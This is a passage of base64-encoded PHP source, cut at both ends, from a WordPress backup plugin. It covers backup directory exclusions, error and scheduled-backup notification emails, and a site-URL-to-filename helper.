vbjsKCQkJfQoJCX0KCQkkZXhjbHVkZXMgPSBhcnJheV9tZXJnZSggJGV4Y2x1ZGVzLCAkcHJvZmlsZV9leGNsdXNpb25zICk7CgoJCS8vIFByb2Nlc3MgZXhjbHVzaW9uIHZhcmlhYmxlcy4KCQlmb3JlYWNoICggJGV4Y2x1ZGVzIGFzICYkYWJzb2x1dGVfZXhjbHVkZSApIHsKCQkJaWYgKCAhICRhYnNvbHV0ZV9leGNsdWRlICkgewoJCQkJY29udGludWU7CgkJCX0KCQkJJGFic29sdXRlX2V4Y2x1ZGUgPSBzdHJfcmVwbGFjZSggJ3ttZWRpYX0nLCBzZWxmOjpnZXRfbWVkaWFfcm9vdCgpLCAkYWJzb2x1dGVfZXhjbHVkZSApOwoJCQkkYWJzb2x1dGVfZXhjbHVkZSA9IHN0cl9yZXBsYWNlKCAne3RoZW1lc30nLCBzZWxmOjpnZXRfdGhlbWVzX3Jvb3QoKSwgJGFic29sdXRlX2V4Y2x1ZGUgKTsKCQkJJGFic29sdXRlX2V4Y2x1ZGUgPSBzdHJfcmVwbGFjZSggJ3twbHVnaW5zfScsIHNlbGY6OmdldF9wbHVnaW5zX3Jvb3QoKSwgJGFic29sdXRlX2V4Y2x1ZGUgKTsKCQl9CgoJCS8vIENsZWFuIHVwICYgc2FuaXRpemUgYXJyYXkuCgkJJGV4Y2x1ZGVzID0gYXJyYXlfbWFwKCAndHJpbScsICRleGNsdWRlcyApOyAvLyBBcHBseSAod2hpdGVzcGFjZS1vbmx5KSB0cmltIHRvIGFsbCBpdGVtcyB3aXRoaW4uCgkJaWYgKCAkdHJpbV9zdWZmaXggKSB7CgkJCWZvcmVhY2ggKCAkZXhjbHVkZXMgYXMgJiRleGNsdWRlICkgeyAvLyBBcHBseSBydHJpbSB0byBhbGwgaXRlbXMgd2l0aGluLgoJCQkJJGV4Y2x1ZGUgPSBydHJpbSggJGV4Y2x1ZGUsICcvJyApOwoJCQl9CgkJfQoKCQkvLyBBcHBseSBmaWx0ZXIgZm9yIDNyZCBwYXJ0eSBtb2RpZmljYXRpb25zLgoJCSRleGNsdWRlcyA9IGFwcGx5X2ZpbHRlcnMoICdiYWNrdXBidWRkeV96aXBfZXhjbHVzaW9ucycsICRleGNsdWRlcyApOwoKCQkvLyBSZW1vdmUgZHVwbGljYXRlcy4KCQkkZXhjbHVkZXMgPSBhcnJheV91bmlxdWUoICRleGNsdWRlcyApOwoKCQkvLyBSZW1vdmUgYWxsIGV4Y2x1c2lvbnMgdGhhdCBkbyBub3QgYmVnaW4gYXQgdGhlIGJhY2t1cCByb290IChjdXN0b20gb3IgZGVmYXVsdCkuCgkJZm9yZWFjaCAoICRleGNsdWRlcyBhcyAmJGFic29sdXRlX2V4Y2x1ZGUgKSB7CgkJCWlmICggMCAhPT0gc3RycG9zKCAkYWJzb2x1dGVfZXhjbHVkZSwgJGJhY2t1cF9yb290ICkgKSB7CgkJCQkkYWJzb2x1dGVfZXhjbHVkZSA9ICcnOwoJCQl9CgkJfQoKCQkvLyBSZW1vdmUgYW55IGVtcHR5IC8gYmxhbmsgbGluZXMuCgkJJGV4Y2x1ZGVzID0gYXJyYXlfZmlsdGVyKCAkZXhjbHVkZXMsICdzdHJsZW4nICk7CgoJCS8vIEZpeCBhcnJheSBpbmRleGVzIGZvciByZW1vdmVkIGl0ZW1zLgoJCSRleGNsdWRlcyA9IGFycmF5X3ZhbHVlcyggJGV4Y2x1ZGVzICk7CgoJCS8vIE1ha2UgYWxsIGV4Y2x1c2lvbnMgcmVsYXRpdmUgdG8gYmFja3VwIHJvb3QuCgkJZm9yZWFjaCAoICRleGNsdWRlcyBhcyAmJGV4Y2x1ZGUgKSB7CgkJCSRleGNsdWRlID0gJy8nIC4gc3RyX3JlcGxhY2UoICRiYWNrdXBfcm9vdCwgJycsICRleGNsdWRlICk7CgkJfQoKCQlyZXR1cm4gJGV4Y2x1ZGVzOwoKCX0gLy8gRW5kIGdldF9kaXJlY3RvcnlfZXhjbHVzaW9ucygpLgoKCS8qKgoJICogU2VuZHMgYW4gZXJyb3IgZW1haWwgdG8gdGhlIGRlZmluZWQgZW1haWwgYWRkcmVzcyhlcykgb24gc2V0dGluZ3MgcGFnZS4KCSAqCgkgKiBAcGFyYW0gc3RyaW5nICRtZXNzYWdlICAgICAgICAgICAgIE1lc3NhZ2UgdG8gYmUgaW5jbHVkZWQgaW4gdGhlIGJvZHkgb2YgdGhlIGVtYWlsLgoJICogQHBhcmFtIHN0cmluZyAkb3ZlcnJpZGVfcmVjaXBpZW50ICBFbWFpbCBhZGRyZXNzKGVzKSB0byBzZW5kIHRvIGluc3RlYWQgb2YgdGhlIG5vcm1hbCByZWNpcGllbnQuCgkgKiBAcGFyYW0gYXJyYXkgICRhdHRhY2htZW50cyAgICAgICAgIFN0cmluZyBvciBhcnJheSBvZiBmaWxlbmFtZShzKSB0byBzZW5kIGFzIGVtYWlsIGF0dGFjaG1lbnRzLgoJICovCglwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIG1haWxfZXJyb3IoICRtZXNzYWdlLCAkb3ZlcnJpZGVfcmVjaXBpZW50ID0gJycsICRhdHRhY2htZW50cyA9IGFycmF5KCkgKSB7CgkJcmVxdWlyZV9vbmNlIHBiX2JhY2t1cGJ1ZGR5OjpwbHVnaW5fcGF0aCgpIC4gJy9jbGFzc2VzL2NvbnN0YW50cy5waHAnOwoKCQlpZiAoICEgaXNzZXQoIHBiX2JhY2t1cGJ1ZGR5Ojokb3B0aW9ucyApICkgewoJCQlwYl9iYWNrdXBidWRkeTo6bG9hZCgpOwoJCX0KCgkJLy8gSWYgdGhlcmUgaXMgYW4gZXJyb3IgZHVlIHRvIGEgcHJvYmxlbSB3aXRoIHRoZSBwbHVnaW4gc2V0dGluZ3MgdGhlbiBsb2FkIGRlZmF1bHRzIHRlbXBvcmFyaWx5LgoJCWlmICggKCAhIGlzX2FycmF5KCBwYl9iYWNrdXBidWRkeTo6JG9wdGlvbnMgKSApIHx8ICggISBpc3NldCggcGJfYmFja3VwYnVkZHk6OiRvcHRpb25zWydkYXRhX3ZlcnNpb24nXSApICkgKSB7CgkJCSRzZXR0aW5nc19jb3B5ID0gcGJfYmFja3VwYnVkZHk6OnNldHRpbmdzKCAnZGVmYXVsdF9vcHRpb25zJyApOwoJCX0gZWxzZSB7CgkJCSRzZXR0aW5nc19jb3B5ID0gcGJfYmFja3VwYnVkZHk6OiRvcHRpb25zOwoJCX0KCgkJaWYgKCAoIHRpbWUoKSAtICRzZXR0aW5nc19jb3B5WydsYXN0X2Vycm9yX2VtYWlsX3RpbWUnXSApIDwgYmFja3VwYnVkZHlfY29uc3RhbnRzOjpNSU1JTVVNX1RJTUVfQkVUV0VFTl9FUlJPUl9FTUFJTFMgKSB7CgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICd3YXJuaW5nJywgJ1dhcm5pbmcgIzQzODk0ODQ6IFRyaWVkIHRvIHNlbmQgZXJyb3IgZW1haWwgdG9vIGZhc3QuIFNraXBwaW5nIHNlbmQuIE1lc3NhZ2U6IGAnIC4gJG1lc3NhZ2UgLiAnYC4nICk7CgkJCXJldHVybiB0cnVlOwoJCX0KCgkJLy8gVHJhY2sgbGFzdCBzZW50IHRpbWUgdG8gcHJldmVudCBmbG9vZC4KCQkkc2V0dGluZ3NfY29weVsnbGFzdF9lcnJvcl9lbWFpbF90aW1lJ10gPSB0aW1lKCk7CgkJcGJfYmFja3VwYnVkZHk6OnNhdmUoKTsKCgkJJHN1YmplY3QgPSAkc2V0dGluZ3NfY29weVsnZW1haWxfbm90aWZ5X2Vycm9yX3N1YmplY3QnXTsKCQkkYm9keSAgICA9ICRzZXR0aW5nc19jb3B5WydlbWFpbF9ub3RpZnlfZXJyb3JfYm9keSddOwoKCQkkcmVwbGFjZW1lbnRzID0gYXJyYXkoCgkJCSd7c2l0ZV91cmx9JyAgICAgICAgICAgID0+IHNpdGVfdXJsKCksCgkJCSd7aG9tZV91cmx9JyAgICAgICAgICAgID0+IGhvbWVfdXJsKCksCgkJCSd7YmFja3VwYnVkZHlfdmVyc2lvbn0nID0+IHBiX2JhY2t1cGJ1ZGR5OjpzZXR0aW5ncyggJ3ZlcnNpb24nICksCgkJCSd7Y3VycmVudF9kYXRldGltZX0nICAgID0+IGRhdGUoIERBVEVfUkZDODIyICksCgkJCSd7aGVhZGluZ30nICAgICAgICAgICAgID0+ICdCYWNrdXBCdWRkeSBFcnJvcicsCgkJCSd7c3VwcG9ydF9kaXNwbGF5fScgICAgID0+ICd0YWJsZScsCgkJCSd7bWVzc2FnZX0nICAgICAgICAgICAgID0+ICRtZXNzYWdlLAoJCSk7CgoJCS8vIEN1c3RvbWl6ZSBTdWJqZWN0IGFuZCB1c2VyIGN1c3RvbWl6YWJsZSBtZXNzYWdlLgoJCWZvcmVhY2ggKCAkcmVwbGFjZW1lbnRzIGFzICRyZXBsYWNlX2tleSA9PiAkcmVwbGFjZW1lbnQgKSB7CgkJCSRzdWJqZWN0ID0gc3RyX3JlcGxhY2UoICRyZXBsYWNlX2tleSwgJHJlcGxhY2VtZW50LCAkc3ViamVjdCApOwoJCQkkYm9keSAgICA9IHN0cl9yZXBsYWNlKCAkcmVwbGFjZV9rZXksICRyZXBsYWNlbWVudCwgJGJvZHkgKTsKCQl9CgoJCSRyZXBsYWNlbWVudHNbJ3tib2R5fSddID0gJGJvZHk7CgoJCS8vIEN1c3RvbWl6ZSB0aGUgZmluYWwgYm9keSBiYXNlZCBvbiBvdXIgSFRNTCB0ZW1wbGF0ZS4KCQlpZiAoIEBmaWxlX2V4aXN0cyggZ2V0X3RoZW1lX3Jvb3QoKSAuICcvYmFja3VwYnVkZHktZW1haWwtdGVtcGxhdGUucGhwJyApICkgewoJCQkkYm9keSA9IGZpbGVfZ2V0X2NvbnRlbnRzKCBnZXRfdGhlbWVfcm9vdCgpIC4gJy9iYWNrdXBidWRkeS1lbWFpbC10ZW1wbGF0ZS5waHAnICk7CgkJfSBlbHNlIHsKCQkJJGJvZHkgPSBmaWxlX2dldF9jb250ZW50cyggZGlybmFtZSggZGlybmFtZSggX19GSUxFX18gKSApIC4gJy92aWV3cy9iYWNrdXBidWRkeS1lbWFpbC10ZW1wbGF0ZS5waHAnICk7CgkJfQoKCQlmb3JlYWNoICggJHJlcGxhY2VtZW50cyBhcyAkcmVwbGFjZV9rZXkgPT4gJHJlcGxhY2VtZW50ICkgewoJCQkkYm9keSA9IHN0cl9yZXBsYWNlKCAkcmVwbGFjZV9rZXksICRyZXBsYWNlbWVudCwgJGJvZHkgKTsKCQl9CgoJCSRlbWFpbCA9ICRzZXR0aW5nc19jb3B5WydlbWFpbF9ub3RpZnlfZXJyb3InXTsKCQlpZiAoICcnICE9ICRvdmVycmlkZV9yZWNpcGllbnQgKSB7CgkJCSRlbWFpbCA9ICRvdmVycmlkZV9yZWNpcGllbnQ7CgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ092ZXJyaWRpbmcgZW1haWwgcmVjaXBpZW50IHRvOiBgJyAuICRvdmVycmlkZV9yZWNpcGllbnQgLiAnYC4nICk7CgkJfQoKCQkvLyBEZWZhdWx0IHRvIGFkbWluX2VtYWlsIGlmIG5vdCBjb25maWd1cmVkIGFueXdoZXJlIGVsc2UuCgkJaWYgKCAnJyA9PSAkZW1haWwgKSB7CgkJCSRlbWFpbCA9IGdldF9vcHRpb24oICdhZG1pbl9lbWFpbCcgKTsKCQl9CgoJCWlmICggISBlbXB0eSggJGVtYWlsICkgKSB7CgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ1NlbmRpbmcgZW1haWwgZXJyb3Igbm90aWZpY2F0aW9uIHdpdGggc3ViamVjdCBgJyAuICRzdWJqZWN0IC4gJ2AgdG8gcmVjaXBpZW50KHMpOiBgJyAuICRlbWFpbCAuICdgLicgKTsKCQkJaWYgKCAnJyAhPSAkc2V0dGluZ3NfY29weVsnZW1haWxfcmV0dXJuJ10gKSB7CgkJCQkkZW1haWxfcmV0dXJuID0gJHNldHRpbmdzX2NvcHlbJ2VtYWlsX3JldHVybiddOwoJCQl9IGVsc2UgewoJCQkJJGVtYWlsX3JldHVybiA9IGdldF9vcHRpb24oICdhZG1pbl9lbWFpbCcgKTsKCQkJfQoKCQkJaWYgKCBmdW5jdGlvbl9leGlzdHMoICd3cF9tYWlsJyApICkgewoJCQkJJHJlc3VsdCA9IHdwX21haWwoICRlbWFpbCwgJHN1YmplY3QsICRib2R5LCAnRnJvbTogQmFja3VwQnVkZHkgPCcgLiAkZW1haWxfcmV0dXJuIC4gIj5cclxuIiAuICdDb250ZW50LVR5cGU6IHRleHQvaHRtbDsnIC4gIlxyXG4iIC4gJ1JlcGx5LVRvOiAnIC4gZ2V0X29wdGlvbiggJ2FkbWluX2VtYWlsJyApIC4gIlxyXG4iLCAkYXR0YWNobWVudHMgKTsKCQkJCWlmICggZmFsc2UgPT09ICRyZXN1bHQgKSB7CgkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2Vycm9yJywgJ0Vycm9yICM0NTQ0MzU1NDogVW5hYmxlIHRvIHNlbmQgZXJyb3IgZW1haWwgd2l0aCBXb3JkUHJlc3Mgd3BfbWFpbCgpLiBWZXJpZnkgV29yZFByZXNzICYgU2VydmVyIHNldHRpbmdzLicgKTsKCQkJCX0KCQkJfSBlbHNlIHsKCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdlcnJvcicsICdXYXJuaW5nICMzMjg5MjM5OiB3cF9tYWlsKCkgdW5hdmFpbGFibGUuIEluc2lkZSBXb3JkUHJlc3M/JyApOwoJCQl9CgkJfSBlbHNlIHsKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ3dhcm5pbmcnLCAnTm8gZW1haWwgYWRkcmVzc2VzIGFyZSBzZXQgdG8gcmVjZWl2ZSBlcnJvciBub3RpZmljYXRpb25zIG9uIHRoZSBTZXR0aW5ncyBwYWdlIEFORCBnZXRfb3B0aW9uKCJhZG1pbl9lbWFpbCIpIG5vdCBzZXQuIFNldHRpbmcgYSBub3RpZmljYXRpb24gZW1haWwgaXMgc3VnZ2VzdGVkLicgKTsKCQl9CgoJfSAvLyBFbmQgbWFpbF9lcnJvcigpLgoKCS8qKgoJICogU2VuZHMgYSBtZXNzYWdlIGVtYWlsIHRvIHRoZSBkZWZpbmVkIGVtYWlsIGFkZHJlc3MoZXMpIG9uIHNldHRpbmdzIHBhZ2UuCgkgKgoJICogQHBhcmFtIHN0cmluZyAkc2VyaWFsICAgICAgICAgICAgICBCYWNrdXAgc2VyaWFsLgoJICogQHBhcmFtIHN0cmluZyAkc3RhcnRfb3JfY29tcGxldGUgICBXaGV0aGVyIHRoaXMgaXMgdGhlIG5vdGlmY2F0aW9uIGZvciBzdGFydGluZyBvciBjb21wbGV0aW5nLiBWYWxpZCB2YWx1ZXM6IHN0YXJ0LCBjb21wbGV0ZSwgZGVzdGluYXRpb25Db21wbGV0ZS4KCSAqIEBwYXJhbSBzdHJpbmcgJG1lc3NhZ2UgICAgICAgICAgICAgTWVzc2FnZSB0byBiZSBpbmNsdWRlZCBpbiB0aGUgYm9keSBvZiB0aGUgZW1haWwuCgkgKiBAcGFyYW0gYXJyYXkgICRleHRyYV9yZXBsYWNlbWVudHMgIEV4dHJhIHJlcGxhY2VtZW50cy4KCSAqLwoJcHVibGljIHN0YXRpYyBmdW5jdGlvbiBtYWlsX25vdGlmeV9zY2hlZHVsZWQoICRzZXJpYWwsICRzdGFydF9vcl9jb21wbGV0ZSwgJG1lc3NhZ2UsICRleHRyYV9yZXBsYWNlbWVudHMgPSBhcnJheSgpICkgewoKCQlpZiAoICEgaXNzZXQoIHBiX2JhY2t1cGJ1ZGR5Ojokb3B0aW9ucyApICkgewoJCQlwYl9iYWNrdXBidWRkeTo6bG9hZCgpOwoJCX0KCgkJaWYgKCAnc3RhcnQnID09PSAkc3RhcnRfb3JfY29tcGxldGUgKSB7CgkJCSRlbWFpbCA9IHBiX2JhY2t1cGJ1ZGR5Ojokb3B0aW9uc1snZW1haWxfbm90aWZ5X3NjaGVkdWxlZF9zdGFydCddOwoKCQkJJHN1YmplY3QgPSBwYl9iYWNrdXBidWRkeTo6JG9wdGlvbnNbJ2VtYWlsX25vdGlmeV9zY2hlZHVsZWRfc3RhcnRfc3ViamVjdCddOwoJCQkkYm9keSAgICA9IHBiX2JhY2t1cGJ1ZGR5Ojokb3B0aW9uc1snZW1haWxfbm90aWZ5X3NjaGVkdWxlZF9zdGFydF9ib2R5J107CgoJCQkkcmVwbGFjZW1lbnRzID0gYXJyYXkoCgkJCQkne3NpdGVfdXJsfScgICAgICAgICAgICA9PiBzaXRlX3VybCgpLAoJCQkJJ3tob21lX3VybH0nICAgICAgICAgICAgPT4gaG9tZV91cmwoKSwKCQkJCSd7YmFja3VwYnVkZHlfdmVyc2lvbn0nID0+IHBiX2JhY2t1cGJ1ZGR5OjpzZXR0aW5ncyggJ3ZlcnNpb24nICksCgkJCQkne2N1cnJlbnRfZGF0ZXRpbWV9JyAgICA9PiBkYXRlKCBEQVRFX1JGQzgyMiApLAoJCQkJJ3toZWFkaW5nfScgICAgICAgICAgICAgPT4gJ0JhY2t1cCBTdGFydGVkJywKCQkJCSd7bWVzc2FnZX0nICAgICAgICAgICAgID0+ICRtZXNzYWdlLAoJCQkpOwoJCX0gZWxzZWlmICggJ2NvbXBsZXRlJyA9PT0gJHN0YXJ0X29yX2NvbXBsZXRlICkgewoJCQkkZW1haWwgPSBwYl9iYWNrdXBidWRkeTo6JG9wdGlvbnNbJ2VtYWlsX25vdGlmeV9zY2hlZHVsZWRfY29tcGxldGUnXTsKCgkJCSRzdWJqZWN0ID0gcGJfYmFja3VwYnVkZHk6OiRvcHRpb25zWydlbWFpbF9ub3RpZnlfc2NoZWR1bGVkX2NvbXBsZXRlX3N1YmplY3QnXTsKCQkJJGJvZHkgICAgPSBwYl9iYWNrdXBidWRkeTo6JG9wdGlvbnNbJ2VtYWlsX25vdGlmeV9zY2hlZHVsZWRfY29tcGxldGVfYm9keSddOwoKCQkJJGFyY2hpdmVfZmlsZSA9ICcnOwoJCQlyZXF1aXJlX29uY2UgcGJfYmFja3VwYnVkZHk6OnBsdWdpbl9wYXRoKCkgLiAnL2NsYXNzZXMvZmlsZW9wdGlvbnMucGhwJzsKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnRmlsZW9wdGlvbnMgaW5zdGFuY2UgIzM3LicgKTsKCQkJJGJhY2t1cF9vcHRpb25zID0gbmV3IHBiX2JhY2t1cGJ1ZGR5X2ZpbGVvcHRpb25zKCBiYWNrdXBidWRkeV9jb3JlOjpnZXRMb2dEaXJlY3RvcnkoKSAuICdmaWxlb3B0aW9ucy8nIC4gJHNlcmlhbCAuICcudHh0JywgdHJ1ZSwgdHJ1ZSApOwoJCQkkcmVzdWx0ICAgICAgICAgPSAkYmFja3VwX29wdGlvbnMtPmlzX29rKCk7CgkJCWlmICggdHJ1ZSAhPT0gJHJlc3VsdCApIHsKCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdlcnJvcicsICdFcnJvciByZXRyaWV2aW5nIGZpbGVvcHRpb25zIGZpbGUgYCcgLiBiYWNrdXBidWRkeV9jb3JlOjpnZXRMb2dEaXJlY3RvcnkoKSAuICdmaWxlb3B0aW9ucy8nIC4gJHNlcmlhbCAuICcudHh0YC4gRXJyb3IgIzM1NTY0MzMyLicgKTsKCQkJCSRhcmNoaXZlX2ZpbGUgPSAnW2ZpbGVfdW5rbm93bl0nOwoJCQkJJGJhY2t1cF9zaXplICA9ICdbc2l6ZV91bmtub3duXSc7CgkJCQkkYmFja3VwX3R5cGUgID0gJ1t0eXBlX3Vua25vd25dJzsKCQkJfSBlbHNlIHsKCQkJCSRhcmNoaXZlX2ZpbGUgPSAkYmFja3VwX29wdGlvbnMtPm9wdGlvbnNbJ2FyY2hpdmVfZmlsZSddOwoJCQkJJGJhY2t1cF9zaXplICA9ICRiYWNrdXBfb3B0aW9ucy0+b3B0aW9uc1snYXJjaGl2ZV9zaXplJ107CgkJCQkkYmFja3VwX3R5cGUgID0gJGJhY2t1cF9vcHRpb25zLT5vcHRpb25zWyd0eXBlJ107CgkJCX0KCgkJCSRyZXBsYWNlbWVudHMgPSBhcnJheSgKCQkJCSd7c2l0ZV91cmx9JyAgICAgICAgICAgID0+IHNpdGVfdXJsKCksCgkJCQkne2hvbWVfdXJsfScgICAgICAgICAgICA9PiBob21lX3VybCgpLAoJCQkJJ3tiYWNrdXBidWRkeV92ZXJzaW9ufScgPT4gcGJfYmFja3VwYnVkZHk6OnNldHRpbmdzKCAndmVyc2lvbicgKSwKCQkJCSd7Y3VycmVudF9kYXRldGltZX0nICAgID0+IGRhdGUoIERBVEVfUkZDODIyICksCgkJCQkne2hlYWRpbmd9JyAgICAgICAgICAgICA9PiAnQmFja3VwIENvbXBsZXRlZCcsCgkJCQkne21lc3NhZ2V9JyAgICAgICAgICAgICA9PiAkbWVzc2FnZSwKCgkJCQkne2JhY2t1cF9zZXJpYWx9JyAgICAgICA9PiAkc2VyaWFsLAoJCQkJJ3tkb3dubG9hZF9saW5rfScgICAgICAgPT4gcGJfYmFja3VwYnVkZHk6OmFqYXhfdXJsKCAnZG93bmxvYWRfYXJjaGl2ZScgKSAuICcmYmFja3VwYnVkZHlfYmFja3VwPScgLiBiYXNlbmFtZSggJGFyY2hpdmVfZmlsZSApLAoJCQkJJ3tiYWNrdXBfZmlsZX0nICAgICAgICAgPT4gYmFzZW5hbWUoICRhcmNoaXZlX2ZpbGUgKSwKCQkJCSd7YmFja3VwX3NpemV9JyAgICAgICAgID0+ICRiYWNrdXBfc2l6ZSwKCQkJCSd7YmFja3VwX3R5cGV9JyAgICAgICAgID0+ICRiYWNrdXBfdHlwZSwKCQkJKTsKCQl9IGVsc2VpZiAoICdkZXN0aW5hdGlvbkNvbXBsZXRlJyA9PSAkc3RhcnRfb3JfY29tcGxldGUgKSB7CgkJCSRlbWFpbCA9IHBiX2JhY2t1cGJ1ZGR5Ojokb3B0aW9uc1snZW1haWxfbm90aWZ5X3NlbmRfZmluaXNoJ107CgoJCQkkc3ViamVjdCA9IHBiX2JhY2t1cGJ1ZGR5Ojokb3B0aW9uc1snZW1haWxfbm90aWZ5X3NlbmRfZmluaXNoX3N1YmplY3QnXTsKCQkJJGJvZHkgICAgPSBwYl9iYWNrdXBidWRkeTo6JG9wdGlvbnNbJ2VtYWlsX25vdGlmeV9zZW5kX2ZpbmlzaF9ib2R5J107CgoJCQkkcmVwbGFjZW1lbnRzID0gYXJyYXkoCgkJCQkne3NpdGVfdXJsfScgICAgICAgICAgICA9PiBzaXRlX3VybCgpLAoJCQkJJ3tob21lX3VybH0nICAgICAgICAgICAgPT4gaG9tZV91cmwoKSwKCQkJCSd7YmFja3VwYnVkZHlfdmVyc2lvbn0nID0+IHBiX2JhY2t1cGJ1ZGR5OjpzZXR0aW5ncyggJ3ZlcnNpb24nICksCgkJCQkne2N1cnJlbnRfZGF0ZXRpbWV9JyAgICA9PiBkYXRlKCBEQVRFX1JGQzgyMiApLAoJCQkJJ3toZWFkaW5nfScgICAgICAgICAgICAgPT4gJ0JhY2t1cCBzdWNjZXNzZnVsbHkgc2VudCB0byBkZXN0aW5hdGlvbicsCgkJCQkne21lc3NhZ2V9JyAgICAgICAgICAgICA9PiAkbWVzc2FnZSwKCQkJKTsKCQl9IGVsc2UgewoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZXJyb3InLCAnRVJST1IgIzU0ODU3ODQ1Nzg1OiBGYXRhbGx5IGhhbHRlZC4gSW52YWxpZCBzY2hlZHVsZSB0eXBlLiBFeHBlY3RlZCBgc3RhcnRgIG9yIGBjb21wbGV0ZWAuIEdvdCBgJyAuICRzdGFydF9vcl9jb21wbGV0ZSAuICdgLicgKTsKCQl9CgoJCSRyZXBsYWNlbWVudHMgPSBhcnJheV9tZXJnZSggJHJlcGxhY2VtZW50cywgJGV4dHJhX3JlcGxhY2VtZW50cyApOwoKCQkvLyBDdXN0b21pemUgU3ViamVjdCBhbmQgdXNlciBjdXN0b21pemFibGUgbWVzc2FnZS4KCQkkcmVwbGFjZW1lbnRzWyd7c3VwcG9ydF9kaXNwbGF5fSddID0gJ25vbmUnOwoJCWZvcmVhY2ggKCAkcmVwbGFjZW1lbnRzIGFzICRyZXBsYWNlX2tleSA9PiAkcmVwbGFjZW1lbnQgKSB7CgkJCSRzdWJqZWN0ID0gc3RyX3JlcGxhY2UoICRyZXBsYWNlX2tleSwgJHJlcGxhY2VtZW50LCAkc3ViamVjdCApOwoJCQkkYm9keSAgICA9IHN0cl9yZXBsYWNlKCAkcmVwbGFjZV9rZXksICRyZXBsYWNlbWVudCwgJGJvZHkgKTsKCQl9CgoJCSRyZXBsYWNlbWVudHNbJ3tib2R5fSddID0gJGJvZHk7CgoJCS8vIEN1c3RvbWl6ZSB0aGUgZmluYWwgYm9keSBiYXNlZCBvbiBvdXIgSFRNTCB0ZW1wbGF0ZS4KCQlpZiAoIEBmaWxlX2V4aXN0cyggZ2V0X3RoZW1lX3Jvb3QoKSAuICcvYmFja3VwYnVkZHktZW1haWwtdGVtcGxhdGUucGhwJyApICkgewoJCQkkYm9keSA9IGZpbGVfZ2V0X2NvbnRlbnRzKCBnZXRfdGhlbWVfcm9vdCgpIC4gJy9iYWNrdXBidWRkeS1lbWFpbC10ZW1wbGF0ZS5waHAnICk7CgkJfSBlbHNlIHsKCQkJJGJvZHkgPSBmaWxlX2dldF9jb250ZW50cyggZGlybmFtZSggZGlybmFtZSggX19GSUxFX18gKSApIC4gJy92aWV3cy9iYWNrdXBidWRkeS1lbWFpbC10ZW1wbGF0ZS5waHAnICk7CgkJfQoKCQlmb3JlYWNoICggJHJlcGxhY2VtZW50cyBhcyAkcmVwbGFjZV9rZXkgPT4gJHJlcGxhY2VtZW50ICkgewoJCQkkYm9keSA9IHN0cl9yZXBsYWNlKCAkcmVwbGFjZV9rZXksICRyZXBsYWNlbWVudCwgJGJvZHkgKTsKCQl9CgoJCWlmICggJycgIT0gcGJfYmFja3VwYnVkZHk6OiRvcHRpb25zWydlbWFpbF9yZXR1cm4nXSApIHsKCQkJJGVtYWlsX3JldHVybiA9IHBiX2JhY2t1cGJ1ZGR5Ojokb3B0aW9uc1snZW1haWxfcmV0dXJuJ107CgkJfSBlbHNlIHsKCQkJJGVtYWlsX3JldHVybiA9IGdldF9vcHRpb24oICdhZG1pbl9lbWFpbCcgKTsKCQl9CgoJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ1NlbmRpbmcgZW1haWwgc2NoZWR1bGUgbm90aWZpY2F0aW9uLiBTdWJqZWN0OiBgJyAuICRzdWJqZWN0IC4gJ2A7IHJlY2lwaWVudChzKTogYCcgLiAkZW1haWwgLiAnYC4nICk7CgkJaWYgKCAhIGVtcHR5KCAkZW1haWwgKSApIHsKCQkJaWYgKCBmdW5jdGlvbl9leGlzdHMoICd3cF9tYWlsJyApICkgewoJCQkJd3BfbWFpbCggJGVtYWlsLCAkc3ViamVjdCwgJGJvZHksICdGcm9tOiBCYWNrdXBCdWRkeSA8JyAuICRlbWFpbF9yZXR1cm4gLiAiPlxyXG4iIC4gJ1JlcGx5LVRvOiAnIC4gZ2V0X29wdGlvbiggJ2FkbWluX2VtYWlsJyApIC4gIlxyXG4iIC4gJ0NvbnRlbnQtdHlwZTogdGV4dC9odG1sOycgLiAiXHJcbiIgKTsKCQkJfSBlbHNlIHsKCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdlcnJvcicsICdFcnJvciAjMzI4OTIzOTM6IHdwX21haWwoKSBkb2VzIG5vdCBleGlzdC4gSW5zaWRlIFdvcmRQcmVzcz8nICk7CgkJCX0KCQl9Cgl9IC8vIEVuZCBtYWlsX25vdGlmeV9zY2hlZHVsZWQoKS4KCgoJLyoqCgkgKiBTdHJpcHMgYWxsIG5vbi1maWxlLWZyaWVuZGx5IGNoYXJhY3RlcnMgZnJvbSB0aGUgc2l0ZSBVUkwuIFVzZWQgaW4gbWFraW5nIGJhY2t1cCB6aXAgZmlsZW5hbWUuCgkgKgoJICogQHJldHVybiBzdHJpbmcgIFRoZSBmaWxlbmFtZSBmcmllbmRseSBjb252ZXJ0ZWQgc2l0ZSBVUkwuCgkgKi8KCXB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gYmFja3VwX3ByZWZpeCgpIHsKCgkJJHNpdGV1cmwgPSBzaXRlX3VybCgpOwoJCSRzaXRldXJsID0gc3RyX3JlcGxhY2UoICdodHRwOi8vJywgJycsICRzaXRldXJsICk7CgkJJHNpdGV1cmwgPSBzdHJfcmVwbGFjZSggJ2h0dHBzOi8vJywgJycsICRzaXRldXJsICk7CgkJJHNpdGV1cmwgPSBzdHJfcmVwbGFjZSggJy8nLCAnXycsICRzaXRldXJsICk7CgkJJHNpdGV1cmwgPSBzdHJfcmVwbGFjZSggJ1xcJywgJ18nLCAkc2l0ZXVybCApOwoJCSRzaXRldXJsID0gc3RyX3JlcGxhY2UoICcuJywgJ18nLCAkc2l0ZXVybCApOwoJCSRzaXRldXJsID0gc3RyX3JlcGxhY2UoICc6JywgJ18nLCAkc2l0ZXVybCApOyAvLyBBbHRlcm5hdGl2ZSBwb3J0IGZyb20gODAgaXMgc3RvcmVkIGluIHRoZSBzaXRlIHVybC4KCQkkc2l0ZXVybCA9IHN0cl9yZXBsYWNlKCAnficsICdfJywgJH